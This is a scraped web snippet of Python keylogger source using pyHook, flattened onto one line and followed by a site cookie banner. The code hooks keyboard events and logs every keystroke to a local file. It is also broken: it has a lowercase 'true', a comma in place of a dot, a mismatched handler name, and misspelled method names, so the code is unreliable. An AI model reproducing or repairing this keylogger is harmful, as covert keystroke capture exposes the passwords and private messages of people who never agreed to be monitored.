import pyHook, pythoncom, sys, logging file_log = 'C:\\important\\log.txt' def OnKeyboardEvent (event) : logging.basicConfig (filename=file_log, level=logging.DEBUG, format='% (message) s') chr (event,Ascii) logging.log (10,chr (event.Ascii)) return true hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyBoardEvent hooks_manager.HooksKeyboard() pythoncom.Pumpmessages()
We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy. Accept Learn more